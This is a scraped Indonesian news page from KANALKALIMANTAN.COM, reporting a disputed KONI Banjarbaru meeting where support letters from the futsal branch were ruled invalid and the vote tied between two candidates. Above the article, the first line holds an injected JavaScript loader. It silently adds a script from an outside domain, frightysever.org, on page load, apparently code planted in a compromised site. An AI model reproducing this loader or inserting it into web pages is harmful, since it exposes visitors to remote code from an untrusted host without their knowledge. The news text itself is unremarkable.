(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Musyawarah olahraga Kota Banjarbaru yang diadakan Komite Olahraga Nasional Indonesia (KONI) Kota Banjarbaru berlangsung alot, Sabtu (17/2). Acara yang berlangsung pukul 11.30 Wita dibuka Wakil Walikota Banjarbaru Darmawan Jaya Setiawan, berlangsung hingga sore.
Tim penjaring KONI Kota Banjarbaru menyeleksi bakal calon ketua menemukan 2 orang kandidat lolos seleksi. Yaitu Wartono SE, Wakil Ketua DRPD Kota Banjarbaru dan Plt KONI Kota Banjarbaru Dr Ir Daniel Itta MS.
Untuk persyaratan menjadi calon kandidat Ketua KONI Banjarbaru, calon ketua minimal dapat dukungan 15 cabang olahraga (cabor). Tim penjaring melakukan proses penyaringan selama 1 minggu dari tanggal 10-17 Februari, Wartono berhasil mendapatkan 17 surat dukungan dan Daniel Itta mendapat 16 surat dukungan yang menyatakan mereka berdua menjadi calon kandidat ketua KONI Banjarbaru.
Awalnya musyawarah berjalan lancar dengan sinyal sinyal bahwa Wartono yang akan menjadi Ketua Umum KONI Banjarbaru karena unggul 1 suara dari Daniel Itta. Namun gagal, saat Hermanto Ginting yang ditunjuk sebagai Wakil Ketua Sidang mengkoreksi hasil surat dukungan cabor futsal kepada Wartono yang disebut tidak sah.
Menurut Hermanto Ginting, cabor futsal sudah masuk naungan cabor sepakbola dibawah Asosiasi PSSI. Hermanto Ginting menyatakan surat dukungan Asosiasi PSSI sudah mewakili cabor futsal dan menjadikan surat dukungan kepada kedua calon ketua KONI ini menjadi seimbang.
Sempat terjadi perdebatan, berhak tidaknya cabor futsal untuk memberikan surat dukungan. Hermanto Ginting bahkan meminta konfirmasi kepada Wakil Ketua Asprov PSSI Kalsel Drs Jumadi Masrun terkait masalah ini via telepon. Bahkan Hermanto Ginting memperdengarkan percakapan dengan Jumadi Masrun, lewat mic dan didengar oleh seluruh peserta Musyawarah Olahraga. Saat ditelepon, Wakil Ketua Asprov PSSI Kalsel menyatakan bahwa futsal masih dalam naungan Asosiasi PSSI.
“Sudah dengarkan? Jadi cabor futsal tidak berhak memberikan suaranya,†jelas Hermanto Ginting.
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.